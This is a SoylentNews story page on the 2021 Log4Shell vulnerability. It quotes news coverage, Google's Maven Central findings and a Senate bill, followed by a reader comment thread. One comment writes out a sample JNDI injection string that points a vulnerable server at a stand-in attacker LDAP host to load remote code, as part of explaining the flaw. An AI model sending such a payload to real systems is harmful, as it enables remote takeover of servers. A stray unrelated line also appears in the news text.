from the is-that-what-'write-once,-run-anywhere'-means? dept.
'The Internet is on Fire'
The problem lies in Log4j, a ubiquitous, open source Apache logging framework that developers use to keep a record of activity within an application. Security responders are scrambling to patch the bug, which can be easily exploited to take control of vulnerable systems remotely. At the same time, hackers are actively scanning the internet for affected systems. Some have already developed tools that automatically attempt to exploit the bug, as well as worms that can spread independently from one vulnerable system to another under the right conditions.
Log4j is a Java library, and while the programming language is less popular with consumers these days, it's still in very broad use in enterprise systems and web apps. Researchers told WIRED on Friday that they expect many mainstream services will be affected.
For example, Microsoft-owned Minecraft on Friday posted detailed instructions for how players of the game's Java version should patch their systems. "This exploit affects many services—including Minecraft Java Edition," the post reads. "This vulnerability poses a potential risk of your computer being compromised." Cloudflare CEO Matthew Prince tweeted Friday that the issue was "so bad" that the internet infrastructure company would try to roll out a least some protection even for customers on its free tier of service.
All an attacker has to do to exploit the flaw is strategically send a malicious code string that eventually gets logged by Log4j version 2.0 or higher. The exploit lets an attacker load arbitrary Java code on a server, allowing them to take control.
"It's a design failure of catastrophic proportions," says Free Wortley, CEO of the open source data security platform LunaSec. Researchers at the company published a warning and initial assessment of the Log4j vulnerability on Thursday.
'The Internet's on Fire': Techs Race to Fix Major Cybersecurity Software Flaw
'The internet's on fire': Techs race to fix major cybersecurity software flaw:
Amit Yoran, CEO of the cybersecurity firm Tenable, called it "the single biggest, most critical vulnerability of the last decade" — and possibly the biggest in the history of modern computing.
The vulnerability, dubbed 'Log4Shell,' was rated 10 on a scale of one to 10 the Apache Software Foundation, which oversees development of the software.Anyone with the exploit can obtain full access to an unpatched computer that uses the software. Experts said the extreme ease with which the vulnerability lets an attacker access a web server — no password required — is what makes it so dangerous.
New Zealand's computer emergency response team was among the first to report that the flaw was being "actively exploited in the wild" just hours after it was publicly reported Thursday and a patch released.
The vulnerability, located in open-source Apache software used to run websites and other web services, was reported to the foundation on November 24 by the Chinese tech giant Alibaba, it said. It took two weeks to develop and release a fix. But patching systems around the world could be a complicated task.
May I have a cup of water?
Related Stories
Java Code Repository Riddled with Hidden Log4j Bugs; Here's Where to Look:
About 17,000 Java packages in the Maven Central repository, the most significant collection of Java packages available to developers, are vulnerable to Log4j — and it will likely take "years" for it to be fixed across the ecosystem, according to Google security.
Following the CVE update that just Log4j-core was affected, eliminating vulnerable instances of the Log4j-api, Google Security determined that as of Dec. 19, more than 17,000 packages in Maven Central were vulnerable, about 4 percent of the entire repository. Of those, just 25 percent of the packages had updated versions available, Google added.
For comparison, the Google researchers explained in a Tuesday blog post that the average bug affects between 2 percent and less than .01 percent of such packages.
Sonatype, the organization which maintains Maven Central, has a dashboard that's updated several times a day with the latest on Log4j and reported that since Dec. 10, more than 40 percent of the packages being downloaded were still vulnerable, totaling nearly 5 million downloads.
[...] "The majority of affected artifacts come from indirect dependencies (that is, the dependencies of one's own dependencies), meaning Log4j is not explicitly defined as a dependency of the artifact, but gets pulled in as a transitive dependency," the Google team said.
Making these unpatched Log4j versions even sneakier to track down is "how far down the software supply chain it's typically deployed," the analysts added.
US Senators Gary Peters (D-MI) and Rob Portman (R-OH) introdced S.4913 - Securing Open Source Software Act of 2022 the other day. It has been read twice and referred to the Committee on Homeland Security and Governmental Affairs. Here is the US Senate's press release:
U.S. Senators Gary Peters (D-MI) and Rob Portman (R-OH), Chairman and Ranking Member of the Homeland Security and Governmental Affairs Committee, introduced bipartisan legislation to help protect federal and critical infrastructure systems by strengthening the security of open source software. The legislation comes after a hearing convened by Peters and Portman on the Log4j incident earlier this year, and would direct the Cybersecurity and Infrastructure Security Agency (CISA) to help ensure that open source software is used safely and securely by the federal government, critical infrastructure, and others. A vulnerability discovered in Log4j – which is widely used open source code – affected millions of computers worldwide, including critical infrastructure and federal systems. This led top cybersecurity experts to call it one of the most severe and widespread cybersecurity vulnerabilities ever seen.
[...] The overwhelming majority of computers in the world rely on open source code – freely available code that anyone can contribute to, develop, and use to create websites, applications, and more. It is maintained by a community of individuals and organizations. The federal government, one of the largest users of open source software in the world, must be able to manage its own risk and also help support the security of open source software in the private sector and the rest of the public sector.
The Securing Open Source Software Act would direct CISA to develop a risk framework to evaluate how open source code is used by the federal government. CISA would also evaluate how the same framework could be voluntarily used by critical infrastructure owners and operators. This will identify ways to mitigate risks in systems that use open source software. The legislation also requires CISA to hire professionals with experience developing open source software to ensure that government and the community work hand-in-hand and are prepared to address incidents like the Log4j vulnerability. Additionally, the legislation requires the Office of Management and Budget (OMB) to issue guidance to federal agencies on the secure usage of open source software and establishes a software security subcommittee on the CISA Cybersecurity Advisory Committee.
(Score: 5, Funny) by bradley13 on Saturday December 11 2021, @02:10PM (15 children)
Other articles point out that the flaw can only be exploited if the server is also running a JVM from 2018 or earlier. I would like to believe that any serious site keeps their software updated.
I know, I know...
Everyone is somebody else's weirdo.
(Score: 1, Interesting) by Anonymous Coward on Saturday December 11 2021, @03:17PM (6 children)
I don't use java so it doesn't affect me, so it's more for entertainment value - I mean how stupid have you got to be to do stuff in such an insecure way?
(Score: 2) by Runaway1956 on Saturday December 11 2021, @03:44PM
Actually, no. Apache uses those same logging calls. Other applications that keep logs might also call on the libraries at fault.
“I have become friends with many school shooters” - Tampon Tim Walz
(Score: 5, Interesting) by choose another one on Saturday December 11 2021, @05:24PM (3 children)
According to the CVE https://nvd.nist.gov/vuln/detail/CVE-2021-44228 [nist.gov]
". Java 8u121 protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
Release notes for that version says:
"Remote class loading via JNDI object factories stored in naming and directory services is disabled by default. "
So..., I guess that's a maybe (like you, I don't use Java at present)...
Reason I say "maybe" is that looking at some of the deeper dives (e.g. https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j [fastly.com] ) is that the first stage of the vulnerability is a remote lookup (ldap is prime candidate but dns is also mentioned). I am not clear from the release notes that the lookup stage would be prevented, it may be only the second (RCE) stage - I think it would be possible that a "remote" lookup might point to a local resource, which would still be loaded. Since the vulnerability scanning may trip on the lookup stage ( "Now the vulnerable Log4j instance will make an LDAP query to the included URI." ) I am thinking that servers might scan vulnerable if they do the lookups even though they would never load and execute the remote code.
Also, the current RCE vuln may only be one symptom, it's not clear that there aren't other routes to that if you are happily looking up and reading data from random-attackers-server just because random-attacker put the server details into your form. How stupid do you have to be to do this? - I dunno, it shouldn't be that hard really.
- Random user input from the wilds of the web (or anywhere really, including internal to your org) is untrusted. Period.
- Do not "eval", run code, lookup code to load and run, from untrusted input. Period
- Basically untrusted input is text. Only. Not instructions, ever.
- Log text, only. No, do not log "the results of some random lookup / code from some server over there" (DOS potential on log file size if nothing else)...
But then, it's taken many years and I may have almost trained my wife to not go clicking random links sent by random people she's never heard of, but web developers are a whole different ball game. Given the long long, and continuing, history of SQL injection vulns I don't hold much hope.
(Score: 3, Insightful) by VLM on Saturday December 11 2021, @05:36PM (2 children)
"Then how will our incredibly expensive enterprise-grade logging platform add enough value to be worth its huge price over just installing a free ELK stack?"
I'm not saying you're wrong, I'm just saying that's the likely response from the PHBs for why it "has to" be so complicated.
(Score: 1, Funny) by Anonymous Coward on Sunday December 12 2021, @01:41PM (1 child)
>> Log text, only.
Poettering begs to differ.
(Score: 0) by Anonymous Coward on Monday December 13 2021, @07:17PM
I mean, he's wrong, but you are correct, he does.
(Score: 2) by bradley13 on Saturday December 11 2021, @05:42PM
I'm not going to hunt it down again, but iirc: the vulnerability asks the JVM to load and execute external code. Apparently some change or security patch in all Java versions after 2018 prohibits this.
Everyone is somebody else's weirdo.
(Score: 2) by VLM on Saturday December 11 2021, @05:31PM (7 children)
Ironically its technically a log4j V2 exploit, so the guys who refused to upgrade from V1 back when it was EOL'd around 2015 are just fine right now.
The CVE we're talking about is CVE-2021-44228 or at least I think it is?
(Score: 1, Insightful) by Anonymous Coward on Saturday December 11 2021, @05:39PM (6 children)
Yeah, we were saved by this.
There was a fire drill as we checked everything to see if vulnerable, though.
The thing is, we, and many others, are at the mercy of a vendor. We cannot update components of the stack they provide and remain in a supported configuration.
(Score: 3, Funny) by VLM on Saturday December 11 2021, @06:00PM (5 children)
Yeah they call log4j "FOSS" but that situation is not really "FOSS" is it?
This is example number 23579380759815 of why GNU GPL is superior to the "business friendly" licenses like the Apache license. Sharing code is all fun and games until someone get powned.
(Score: 4, Interesting) by JoeMerchant on Saturday December 11 2021, @09:19PM
I strongly dislike java in so so many ways... this one is a case of someone providing "just a logging tool" and everybody in the world picking it up and using it without thinking about it.
Configurations are brittle, nobody knows how the update packages without breaking everything... since the initial release of log4j logging has become an essential component of some operations. Maybe software development budgets will increase to reflect the realities of developing secure systems - but probably not.
🌻🌻 [google.com]
(Score: 0) by Anonymous Coward on Sunday December 12 2021, @03:29AM (3 children)
(Score: 1) by anubi on Sunday December 12 2021, @05:00AM (2 children)
Unfortunately, we as a public aren't seeing software in the same light as a lot of us in the 70's were seeing the beginnings of hardware design, where one would read the schematics and could tell you what each gate was there for.
Things have got so large and obfuscated by over complexity that important stuff goes unnoticed as time to market becomes more critical for those who stand to make money from a quick implementation, unlike the perfectionists we used to be.
Finding a bug these days is getting akin to finding an error in a three year old document on a desk that hasn't been cleaned in ten years.
"Prove all things; hold fast that which is good." [KJV: I Thessalonians 5:21]
(Score: 0) by Anonymous Coward on Sunday December 12 2021, @09:57PM (1 child)
It's the same reason so much software is written in Python, Ruby, JavaScript, Java, C#, etc... instead of Assembly, C, C++, Rust, Pascal, Fortran, Forth, and similar. Time-to-market trumps concerns like orders-of-magnitude differences in speed and memory usage.
So much optimization efforts have been put into JS runtimes, Java, and C# that the performance overhead compared to manual-memory-management compile-to-native languages is often under a factor of 10x and sometimes under a factor of 2x. But even there, there's a big difference in memory usage - so modern smartphones and laptops need 4+ GB of RAM when better software would let them function just as well with a lot less than 1 GB.
But there's no money in it.
(Score: 1) by anubi on Tuesday December 14 2021, @10:09AM
Different mindset, I guess, as to what is important.
Me, old, end of career, came on the scene as vacuum tubes were giving way to the transistor.
I watched the 6SN7 give way to the CK722 and 2N107.
Then the uA741 op amp. Then RTL, DTL, TTL, Nmos, Pmos, Cmos, then the 8080, 6502, 6800, then the 68000.
Assembly was the holy grail. Basic was for high level. Also good for making a computer usable to software only people who like to work with decimal numbers without knowing what a bit is.
Then C and C++ with libraries for extending it for unique applications.
Assembler and C became my world. I could do anything I could imagine with it. I knew what every instruction did. I knew how to wire the hardware to enable proper operation while blocking error conditions ( which were a likely experience when working with older hardware and commlinks that flipped bits at any time a noise spike came in ).
We had the EPROM to help us deal with that, as we knew better than allow just anyone to write executing code into memory. Program update? Change eproms, or use a UV light to erase the EPROM, attach a programmer, and physically move a jumper that supplied the proper programming voltage to the EPROM .
Hackers from afar were the least of our concern. All they could do was either snoop or request from a highly restricted menu of allowed actions, of which I wrote, usually in assembler, the code for each one. There was just enough code to make it work. Memory was expensive. Besides, excess code would invariably open up uninvestigated ways the code might run.
Well, I have watched all that and have seen software evolve into this mess we have today.
I still live in the fairyland world of Arduino, where stuff still does what I code it to do. Without concern that someone will modify my code behind my back at any time.
This paradigm seemed so natural to me, but it seemed impossible to communicate the paradigm of simplicity to the MBA PHB that those who had organizational skills had me work under. Sparks flew. I lost. To me, a gentlemen's agreement, sealed with a handshake, a signature on a contract, and maybe a few favors, is not security. Security is a hardware jumper that must be in place before code can be changed.
"Prove all things; hold fast that which is good." [KJV: I Thessalonians 5:21]
(Score: 5, Touché) by Anonymous Coward on Saturday December 11 2021, @02:11PM (7 children)
Relevant xkcd comic::
https://xkcd.com/2347/ [xkcd.com]
Maybe funding open source projects is a good idea. **sarcasm**
(Score: 1, Funny) by Anonymous Coward on Saturday December 11 2021, @03:03PM (6 children)
Yeah maybe the NSA funded this.
Often even that coder in Nebraska wouldn't add nor approve such moronic "features", much less enable them by default.
(Score: 2, Insightful) by Anonymous Coward on Saturday December 11 2021, @03:58PM (5 children)
At some point, sane people say "enough already - fix your existing shit."
(Score: 5, Insightful) by VLM on Saturday December 11 2021, @06:13PM (3 children)
The fundamental problem with Java enterprise bloatware is nobody never had the balls to say no to anything. So you get string interpolated, URL look up logging libraries returning executable functions instead of logging stuff like cruder more simplistic non-enterprise grade software.
Civilized secure languages tell the programmer to STFU and print to a console or write to a file or shove lines of text in what amounts to one UDP packet to port 514 on some server far away and be happy because when I was a kid I debugged by walking uphill both ways in the snow and sure it took me three days of debugging to get some obscure PIC microcontroller to blink a LED instead of crashing on boot, but fuck those enterprise developers my blinking LED never got powned by those wiley Russian Hackers still trying to steal the 2016 election despite it being 2021.9998.
Minecraft never wouldda gotten powned if it was written in a civilized language like TCL/TK but no they had to Java it all up till they inevitably got powned.
(Score: 3, Touché) by fishybell on Sunday December 12 2021, @12:21AM
Ah yes, Tcl, where all executable functions are just strings, and all strings are executable. Definitely a civilized.
(Score: 0) by Anonymous Coward on Monday December 13 2021, @01:53PM (1 child)
Java before 1.4 was kind of like the Go language in that it had an intentionally extremely limited set of features. That made the code simple and readable, but it also meant that there were a bazillion libraries for common features and the world started using XML to represent data structures because it was less verbose ( 😱 ) than Java.
Now Java has regular expressions, generics, annotations (arguably a limited form of multiple inheritance), interfaces with default function implementations (arguably another limited form of multiple inheritance), lambdas, multi line strings, and limited variable type inference. Any program you could write in 100k lines of Java 1.3 could probably be written in less than 20k lines of Java 17. And Java 17 is still bloated compared to Python, Kotlin, Scala, Lisp, and a number of other expressive languages.
(Score: 0) by Anonymous Coward on Wednesday December 15 2021, @10:21AM
Go just got generics, actually.
(Score: 0) by Anonymous Coward on Tuesday December 14 2021, @02:34AM
Funny you say that, but in recent years they've removed corba, webstart & applets and bunch of other things including xml processing,etc. and try to focus it down to key capabilities and shed legacy stuff. Maybe you're still stuck in the 90s version of Java where it kept adding stuff..
The past rarely stays where it is - people commenting based on their experience at a point in time in the past really need to rethink how they communicate.
(Score: 4, Funny) by Anonymous Coward on Saturday December 11 2021, @03:10PM (1 child)
This too shall pass... In 72 hours, we'll have forgotten about this as if it never happened. And no lessons will be learned.
Now excuse me while I go run "sudo npm install" on some random repo I just cloned.
(Score: 0) by Anonymous Coward on Sunday December 12 2021, @02:12PM
You effing effing troll :(
How DARE you
I had completely forgotten the horrors of npm. And now you drag me back
Grinch.
(Score: 2) by Runaway1956 on Saturday December 11 2021, @03:10PM (2 children)
I did a search in my package manager. There are a total of 41 packages with the string 'log4j' in the repository. Other distros might have more, or fewer packages that are associated with the exploit. Expect a small boatload of updates in the coming months. And if you actually run a server exposed to the internet, you'll want to keep up with the mitigations that might work for you.
“I have become friends with many school shooters” - Tampon Tim Walz
(Score: 3, Funny) by Anonymous Coward on Saturday December 11 2021, @03:24PM (1 child)
Yeah, use Windows, IIS and .Net 3.5? ;)
(Score: 1, Informative) by Anonymous Coward on Saturday December 11 2021, @04:03PM
(Score: 5, Funny) by crafoo on Saturday December 11 2021, @03:38PM (10 children)
Thank you God and developers for not writing your logging code in C++ or *gasp* C89. Think of the catastrophic bugs that were avoided by using a superior, modern language like Java.
(Score: 5, Touché) by choose another one on Saturday December 11 2021, @03:48PM (8 children)
And also for not writing private proprietary code and relying on security by obscurity. With open source many eyes mean all bugs are shallow and fundamentally insecure design flaws cannot persist in code with widespread use, or at lest not for long, not for years or decades even...
(Score: 0) by Anonymous Coward on Saturday December 11 2021, @04:01PM (7 children)
(Score: 3, Informative) by choose another one on Saturday December 11 2021, @05:42PM (1 child)
Oh but it does, IEEE standard says so. Open source code quality evaluates as X, where X is some fairly low number, but proprietary code is obscured so its quality evaluates as NaN.
bool is_proprietary_code_better()
{
float FOSSQual = SOME_LOW_NUMBER;
float PropQual = NAN;
return ( PropQual > FOSSQual );
}
FOSS code is always better at checking for floating point errors as well...
(Score: 2) by bart9h on Sunday December 12 2021, @01:24PM
you code will return false anyway because any comparison operator (but !=) involving NaN will always return false.
(Score: 4, Touché) by Anonymous Coward on Saturday December 11 2021, @05:46PM (2 children)
You're right of course. We all need to trust proprietary code, and just take the proprietor's word that he is offering high quality code. Thank you, Microsoft shill.
(Score: 1, Insightful) by Anonymous Coward on Saturday December 11 2021, @10:31PM (1 child)
Nobody is auditing this shit on a regular basis. Because nobody is making enough money off FOSS to do proper development, which includes audits. That's why it's 3rd parties who discover the flaws, then sell proprietary support solutions. So pay now or pay later, TANSTAAFL.
(Score: 3, Funny) by isostatic on Monday December 13 2021, @12:06PM
proper development, which includes audits
LOL
Oh wait you're serious, let me laugh even harder
(Score: 1, Informative) by Anonymous Coward on Saturday December 11 2021, @05:48PM (1 child)
Open source does have better code quality. Roughly an order of magnitude better than the best proprietary code that was tested.
"Better", even much better, does not mean "perfect".
[1] https://lwn.net/Articles/22623/ [lwn.net]
(Score: 0) by Anonymous Coward on Sunday December 12 2021, @02:42AM
(Score: 3, Touché) by engblom on Monday December 13 2021, @12:01PM
The same class of bugs that can be made in Java can also be made in both C++ and C. However, there are classes of bugs that you can make with C/C++ that can not be made in Java. Thus the set of bugs is bigger for C/C++.
(Score: 1, Funny) by Anonymous Coward on Saturday December 11 2021, @05:09PM
God damn global warming again.
(Score: 5, Insightful) by VLM on Saturday December 11 2021, @05:54PM (1 child)
Its interesting to look at this from other perspectives than strictly security dudez
From a developer point of view it looks like the problem is three parts:
https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup [apache.org]
That sounds like a nifty feature, you can enhance your logs by doing JNDI lookups over various protocols.
Also language features like string interpolation sound so cloyingly simple and attractive when writing code.
Another novel language feature is first class functions mean you can pass classes around and run them, data as code, what could possibly go wrong?
Mix the three together, separately none of which are a problem if used correctly, and you try to log some bastards User-Agent: and he tells you its "${jndi:ldap://pown.me.harder.fu/naughty}" and that file is a java class fetched over ldap that powns your web server.
I think the standard SN comparison to the classic little bobby tables, is instead of running the directly passed SQL, you hand the victim a string interpolated URL capable of downloading a picture of the little bobby tables cartoon jpeg and the dumb SOB fetches the cartoon pix, then OCRs the pix, then executes the OCR'd code blindly as if its trustworthy code, LOL.
(Score: 4, Touché) by sgleysti on Saturday December 11 2021, @07:50PM
I'm certain this could have been avoided with more layers of abstraction not understood by the developers writing the high-level code.
(Score: 1) by rpnx on Saturday December 11 2021, @07:25PM
is exactly why I rewrite existing solutions from scratch. I know bad code smells when I see them and I rewrite a lot of stuff for security. C++ templates, generics, and RAII only please.
(Score: 1, Funny) by Anonymous Coward on Saturday December 11 2021, @07:26PM (1 child)
Java, apache, and the most hilarious; log4j? what are these things of which you speak? The internet's on fire? LMAO.
(Score: 2) by choose another one on Sunday December 12 2021, @01:46PM
The apache had a cup of strongly typed Java with weak guts, resulting in a log4ft but the string handling got corrupted to log4j.
The log was on fire, so now everyone is stomping on it, and s*it is spreading all over the place...
(Score: 3, Disagree) by pe1rxq on Saturday December 11 2021, @07:59PM (1 child)
Is there actually a part of the internet on fire I should care about? I don't really care about minecraft.
(Score: 1, Insightful) by Anonymous Coward on Saturday December 11 2021, @10:34PM
Minecraft was just an example. This problem is a LOT of places.
(Score: 1) by fustakrakich on Saturday December 11 2021, @08:21PM (1 child)
Oh no! Who do you call?! [soylentnews.org]
Sorry, man... target of convenience.
La politica e i criminali sono la stessa cosa..
(Score: 1, Touché) by Anonymous Coward on Saturday December 11 2021, @10:20PM
Logbusters?
(Score: 2) by darkfeline on Sunday December 12 2021, @12:00AM (1 child)
Who's still using Apache? I mean, I'm sure a lot of people are, just like a lot of people are using Wordpress, but they should all have switched over to nginx at least.
Join the SDF Public Access UNIX System today!
(Score: 2, Informative) by Anonymous Coward on Sunday December 12 2021, @01:27AM
This has nothing to do with Apache the web server. Log4j is an Apache Software Foundation project.
(Score: 1) by mexsudo on Sunday December 12 2021, @02:05AM (2 children)
https://security-tracker.debian.org/tracker/source-package/apache-log4j2 [debian.org]
(Score: 2, Touché) by Anonymous Coward on Sunday December 12 2021, @03:27AM (1 child)
If only this was so easy. Most custom software isn't using packaged libraries, even updating with Maven isn't routinely done - locking library versions is a common practice.
(Score: 2) by boltronics on Thursday December 16 2021, @05:04AM
Most software is, but probably not the software you mainly care about. For example, on a Debian Buster host I manage:
$ dpkg -l | less | grep ^i | wc -l
874
There is just one piece of software that is not managed via apt, which is Metabase. There was only piece of software on the entire server affected by the vulnerability. Yep, Metabase.
Hardly anyone writes free software using Java (which didn't historically have a "free" official runtime environment so not much surprise there). Sure there are exceptions, probably a lot of them on Android, but you'll rarely find a Java runtime environment on a GNU/Linux box. Heck, my bloated Arch install has 1641 packages, and I still get "command not found" when I attempt to call the java command.
It's not much of a surprise then that vulnerabilities in Java like this exist. If nobody in the free software community is using the code, the "given enough eyeballs, all bugs are shallow" thing doesn't come into play.
It's GNU/Linux dammit!
(Score: 2, Funny) by fustakrakich on Sunday December 12 2021, @03:22AM
Shouting "FIRE!" on a crowded internet is ok?
La politica e i criminali sono la stessa cosa..